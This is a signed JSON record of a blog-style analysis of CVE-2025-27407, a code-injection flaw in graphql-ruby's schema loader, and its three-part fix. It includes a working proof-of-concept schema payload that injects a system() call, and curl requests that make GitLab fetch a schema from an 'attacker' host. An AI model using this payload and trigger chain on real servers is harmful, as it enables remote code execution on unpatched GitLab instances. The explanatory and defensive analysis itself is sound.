-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 NEFARIOUSPLAN-CANONICAL-V1 {"body_md":"The graphql-ruby fix for CVE-2025-27407 ships in three pieces. It validates field and argument names against `/^[_a-zA-Z][_a-zA-Z0-9]*$/`, so a name with a newline raises `InvalidNameError` before reaching anything else. It rewrites two `class_eval <<-RUBY` blocks as `define_method(name) { ... }`, so the method body is a captured closure rather than compiled source. And it adds a new RuboCop rule, `cop/development/no_eval_cop.rb`, that bans `class_eval`, `module_eval`, and `instance_eval` from the codebase forever.\n\nThe third one is the admission. Robert Mosolgo fixed two call sites and then put a tripwire on the call sites that don't exist yet.\n\n## The loader's job is to define classes from a JSON string\n\n`GraphQL::Schema::Loader.load` takes a Hash, the response to an introspection query, and walks `schema[\"types\"]`. For each type the loader builds an anonymous Ruby class. For an `INPUT_OBJECT` the relevant branch is:\n\n```ruby\nwhen \"INPUT_OBJECT\"\n Class.new(GraphQL::Schema::InputObject) do\n graphql_name(type[\"name\"])\n description(type[\"description\"])\n loader.build_arguments(self, type[\"inputFields\"], type_resolver)\n end\n```\n\n`build_arguments` iterates each entry and calls the DSL macro that defines the argument:\n\n```ruby\ndef build_arguments(arg_owner, args, type_resolver)\n args.each do |arg|\n kwargs = { ..., camelize: false }\n if arg[\"defaultValue\"]\n ...\n end\n arg_owner.argument(arg[\"name\"], **kwargs)\n end\nend\n```\n\n`arg[\"name\"]` is a string from a JSON document the loader was just handed. With `camelize: false` it flows through `Argument#initialize` unchanged. The argument macro on `InputObject` (pre-patch, `lib/graphql/schema/input_object.rb`):\n\n```ruby\nclass << self\n def argument(*args, **kwargs, &block)\n argument_defn = super(*args, **kwargs, &block)\n ...\n # Add a method access\n method_name = argument_defn.keyword\n class_eval <<-RUBY, __FILE__, __LINE__\n def #{method_name}\n self[#{method_name.inspect}]\n end\n RUBY\n argument_defn\n end\nend\n```\n\n`method_name` is whatever string came out of `arg[\"name\"]` in the JSON. The HEREDOC interpolates it as Ruby source, then `class_eval` compiles and runs it. Two contracts touch in this method. The DSL's input contract assumes `method_name` is an identifier the developer typed in their schema file. The loader's input contract allows `method_name` to be anything a remote JSON document says it is. The Ruby compiler cannot tell which contract it is serving.\n\n## The PoC is one Python file\n\n[LoGGGG2402/CVE-2025-27407](https://github.com/LoGGGG2402/CVE-2025-27407) is a 358-line `poc_host_port_cmd.py` plus a podman `lab.sh` that stands up `gitlab/gitlab-ce:16.11.8-ce.0`. The script's malicious-schema builder is the whole exploit:\n\n```python\ndef malicious_schema(command):\n payload_name = f\"safe\\nend\\nsystem({command!r})\\ndef safe2\"\n return {\n \"data\": {\n \"__schema\": {\n ...\n \"types\": [\n ...\n {\n \"kind\": \"INPUT_OBJECT\",\n \"name\": \"ExploitInput\",\n \"inputFields\": [\n {\n \"name\": payload_name,\n \"description\": None,\n \"type\": {\"kind\": \"SCALAR\", \"name\": \"String\", \"ofType\": None},\n \"defaultValue\": None,\n }\n ],\n },\n ],\n ...\n }\n }\n }\n```\n\nWhen that name flows through the HEREDOC the generated source becomes:\n\n```ruby\ndef safe\nend\nsystem(\"touch /tmp/cve_2025_27407_gitlab_marker\")\ndef safe2\n self[:\"safe\\nend\\nsystem(\\\"touch /tmp/cve_2025_27407_gitlab_marker\\\")\\ndef safe2\"]\nend\n```\n\n`def ... end` opens and closes a junk first method. `system(...)` runs at class-definition time, in whatever process is calling `Schema::Loader.load`. `def safe2` opens a second method that consumes the trailing tokens so the source parses. The Ruby compiler accepts all of this because that is what `class_eval`-with-string is: a way to ask the compiler to extend a class from a string of source code, where the string is whatever the calling code wants to compile.\n\nThe `ExploitInput` type is never reachable from the Query root the schema declares. It does not have to be. `Loader.load` iterates every entry of `schema[\"types\"]`, reachable or not, and runs the DSL macro on every `inputField` it finds.\n\n## GitLab made `from_introspection` a network endpoint\n\nThe graphql-ruby README documents `GraphQL::Schema.from_introspection` as the way to load an external schema. GitLab uses it for Direct Transfer (Bulk Imports), the feature that lets a destination GitLab pull groups and projects from a source GitLab the user names. The source URL is a value in the user-supplied import configuration.\n\nThe chain inside a destination GitLab:\n\n1. An authenticated user POSTs to `/import/bulk_imports/configure` with `bulk_import_gitlab_url` (their value) and `bulk_import_gitlab_access_token` (also their value).\n2. The user POSTs to `/import/bulk_imports` to trigger the import.\n3. A `BulkImports::PipelineWorker` (Sidekiq) constructs `BulkImports::Clients::Graphql.new(@url)`. That client wraps `Graphlient`, which wraps `GraphQL::Client`.\n4. `GraphQL::Client.load_schema` POSTs the standard `IntrospectionQuery` to `/api/graphql` and feeds the JSON response to `GraphQL::Schema::Loader.load`.\n5. The loader compiles the response. `system(...)` runs as the gitlab user.\n\nThe PoC stands up a Python `ThreadingHTTPServer` on port 8001 that responds to the introspection POST with the malicious schema and to a few sidecar paths (`/api/v4/version`, `/api/v4/personal_access_tokens/self`, `/export_relations/status`) so the source looks alive enough for GitLab to commit to the request. The trigger is three HTTP requests:\n\n```bash\n# 1. Sign in. Any user that can create a destination namespace will do.\ncurl -c jar -X POST http://gitlab/users/sign_in \\\n --data-urlencode 'authenticity_token=...' \\\n --data-urlencode 'user[login]=root' \\\n --data-urlencode 'user[password]=...'\n\n# 2. Configure the source. The URL is yours.\ncurl -b jar -X POST http://gitlab/import/bulk_imports/configure \\\n --data-urlencode 'authenticity_token=...' \\\n -d 'bulk_import_gitlab_url=http://attacker:8001' \\\n -d 'bulk_import_gitlab_access_token=anything'\n\n# 3. Trigger the import. evilgroup does not have to exist anywhere.\ncurl -b jar -X POST http://gitlab/import/bulk_imports \\\n -H 'Content-Type: application/json' \\\n -H 'X-CSRF-Token: ...' \\\n -d '{\"bulk_import\":[{\"source_type\":\"group_entity\",\"source_full_path\":\"evilgroup\",\n \"destination_name\":\"x\",\"destination_namespace\":\"\",\"migrate_projects\":false,\n \"migrate_memberships\":false}]}'\n```\n\nThe Sidekiq worker's first action against the source URL is the introspection fetch. The worker has the gitlab user's filesystem, the gitlab user's database credentials, and the gitlab user's process tree. The PoC's `--cmd` flag is what runs in that environment.\n\nThe PoC README is explicit about who can do this:\n\n> The PoC trigger does not require an admin account; any authenticated user that can create/import into a destination namespace can hit the vulnerable Direct Transfer path.\n\nGitLab's own Direct Transfer setting (`bulk_import_enabled`) is off by default on self-managed instances. Patched GitLab versions are 17.7.7, 17.8.5, and 17.9.2. GitLab CE 16.11.8, the version the PoC targets, is on a release branch that went end-of-life before March 2025; it has no fix shipped against this CVE.\n\n## The fix is three pieces\n\nThe first piece is `NameValidator.validate!(@name)`, called from `Argument#initialize` and `Field#initialize`. The validator is twelve lines:\n\n```ruby\nmodule GraphQL\n class NameValidator\n VALID_NAME_REGEX = /^[_a-zA-Z][_a-zA-Z0-9]*$/\n\n def self.validate!(name)\n name = name.is_a?(String) ? name : name.to_s\n raise GraphQL::InvalidNameError.new(name, VALID_NAME_REGEX) unless name.match?(VALID_NAME_REGEX)\n end\n end\nend\n```\n\nNames with a newline, paren, comma, dot, or hyphen now raise `InvalidNameError` at the time the argument is created, before any Ruby is compiled. The PoC's `safe\\nend\\nsystem(...)\\ndef safe2` does not pass. CVE-2025-27407 is closed at the validator. The new spec file proves it with three test JSONs whose only crime is the field/argument name: `something-wrong`, `bad.int`, `bad, input`. Each one raises.\n\nThe second piece is the rewrite. `InputObject#argument` no longer compiles the accessor from a string:\n\n```diff\n- # Add a method access\n- method_name = argument_defn.keyword\n- class_eval <<-RUBY, __FILE__, __LINE__\n- def #{method_name}\n- self[#{method_name.inspect}]\n- end\n- RUBY\n+ define_accessor_method(argument_defn.keyword)\n```\n\n```ruby\ndef define_accessor_method(method_name)\n define_method(method_name) { self[method_name] }\n alias_method(method_name, method_name)\nend\n```\n\n`define_method(name) { self[name] }` captures `name` as a closure variable. The block is parsed once when graphql-ruby itself was loaded. Whatever string the JSON provides ends up as a captured value, never as a token in a Ruby program the compiler reads. The same shape replaces a second `class_eval`-with-HEREDOC in `BuildFromDefinition#define_field_resolve_method`:\n\n```diff\n- owner.class_eval <<-RUBY, __FILE__, __LINE__\n- # frozen_string_literal: true\n- def #{resolve_method_name}(**args)\n- field_instance = self.class.get_field(\"#{field_definition.name}\")\n- context.schema.definition_default_resolve.call(self.class, field_instance, object, args, context)\n- end\n- RUBY\n+ define_field_resolve_method(owner, resolve_method_name, field_definition.name)\n```\n\n```ruby\ndef define_field_resolve_method(owner, method_name, field_name)\n owner.define_method(method_name) { |**args|\n field_instance = self.class.get_field(field_name)\n context.schema.definition_default_resolve.call(self.class, field_instance, object, args, context)\n }\nend\n```\n\nThe validator stops the attack from reaching either eval site. The rewrite stops a hypothetical bypass of the validator from reaching either Ruby compiler.\n\nThe third piece is `cop/development/no_eval_cop.rb`:\n\n```ruby\nmodule Cop\n module Development\n class NoEvalCop < RuboCop::Cop::Base\n MSG_TEMPLATE = \"Don't use `%{eval_method_name}` which accepts strings and may result evaluating unexpected code. Use `%{exec_method_name}` instead, and pass a block.\"\n\n def on_send(node)\n case node.method_name\n when :module_eval, :class_eval, :instance_eval\n message = MSG_TEMPLATE % { eval_method_name: node.method_name, exec_method_name: node.method_name.to_s.sub(\"eval\", \"exec\").to_sym }\n add_offense node, message: message\n end\n end\n end\n end\nend\n```\n\nThe cop does not look at arguments. It does not check whether the eval call passes a string or a block. It bans the method names entirely from the codebase. The maintainer's instruction to future contributors of graphql-ruby is not \"be careful with `class_eval`.\" It is \"use `class_exec` instead, and pass a block, and we will not let you write the unsafe form here.\"\n\n## The DSL trusted its caller\n\nThe eval-with-string shape was the right call when the only callers were graphql-ruby's own DSL. `argument :title, String` is identifier-only at the source level, and HEREDOC compilation produces a stack trace pointing at the developer's schema file when the field is later misused. The contract the DSL was written against is: the strings the macro receives are author-typed Ruby identifiers in a Ruby source file the developer just wrote.\n\n`Schema::Loader.load` violated that contract. The loader is documented as the way to ingest an external schema; the README's `from_introspection` example expects the input to come from a remote server. The remote server's response then flows directly into the same `argument` macro the DSL uses for `:title, String`. The two callers share one primitive. The contract one assumed is invalidated by the second.\n\ngraphql-ruby is the upstream of every Ruby project that loads an external schema by introspection. The GHSA names the downstream surface flatly:\n\n> Any system which loads a schema by JSON from an untrusted source is vulnerable, including those that use GraphQL::Client to load external schemas via GraphQL introspection.\n\nGitLab is the most public exposure but it is not the only one. Every Ruby app that fetches a schema from a partner's GraphQL endpoint at boot, every CI job that runs `GraphQL::Client.load_schema` against a service that another team operates, every gem that uses `from_introspection` to mirror a remote API, was running this primitive against whatever the remote server chose to return.\n\nThis is the [content-is-command](/patterns/content-is-command) shape at a layer below the application. The content is a JSON document describing types. The interpreter is the Ruby compiler. The content channel was designed to describe a remote schema; the interpreter chose to define classes from its strings. The boundary the DSL needed (caller-typed identifier) and the boundary the loader provided (whatever the wire said) live in two different files, and nothing in the type system or the macro signature said the second was a subset of the first.\n\n## The cop is the verdict\n\ngraphql-ruby is the kind of library where the bug class is structural, not local. A point fix would have been to replace the two `class_eval` blocks with `define_method` and validate the names; that closes CVE-2025-27407 cleanly. The maintainer also added a project-wide RuboCop rule that bans the entire `_eval` family from the codebase, because the pattern is older than the two known instances and the next instance is the next contributor who reaches for the most natural Ruby tool to define a method from a name.\n\nThat is a [design-debt-driver](/patterns/design-debt-driver) admission written into the lint config. The two `class_eval` sites were instances. The pattern was the design. Eval-with-string DSLs are pleasant to write and structurally indistinguishable from RCE primitives once the input source widens. The maintainer chose to amputate the pattern instead of trusting the next code review to catch the next site.\n\n`define_method(method_name) { self[method_name] }` is the same six tokens the original `class_eval` was producing, written without going through the Ruby compiler. The compiler was the bug.\n\nPoC: [LoGGGG2402/CVE-2025-27407](https://github.com/LoGGGG2402/CVE-2025-27407)\n","closing_line":"`define_method(method_name) { self[method_name] }` is the same six tokens the original `class_eval` was producing, written without going through the Ruby compiler. The compiler was the bug.","hook_md":"The graphql-ruby fix for CVE-2025-27407 ships in three pieces. It validates field and argument names against `/^[_a-zA-Z][_a-zA-Z0-9]*$/`, so a name with a newline raises `InvalidNameError` before reaching anything else. It rewrites two `class_eval <<-RUBY` blocks as `define_method(name) { ... }`, so the method body is a captured closure rather than compiled source. And it adds a new RuboCop rule, `cop/development/no_eval_cop.rb`, that bans `class_eval`, `module_eval`, and `instance_eval` from the codebase forever.\n\nThe third one is the admission. Robert Mosolgo fixed two call sites and then put a tripwire on the call sites that don't exist yet.","post_id":50,"slug":"graphql-ruby-cve-2025-27407-loaded-the-schema-by-compiling-it","title":"CVE-2025-27407: graphql-ruby Loaded the Schema by Compiling It","type":"initial","unreadable_sentence":"The cop does not look at arguments. It does not check whether the eval call passes a string or a block. It bans the method names entirely from the codebase."} -----BEGIN PGP SIGNATURE----- iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCagtItQAKCRDeZjl4jgkQ Jq+OAQDem5V9p4mUbX9xltOcLc0oCjj4qxYrLYtHsq+mIRP7PQEAsd0gChy9j3Cg G9v5AlXnhEAg87zlfIT82KyL4fj3hAI= =EKcJ -----END PGP SIGNATURE-----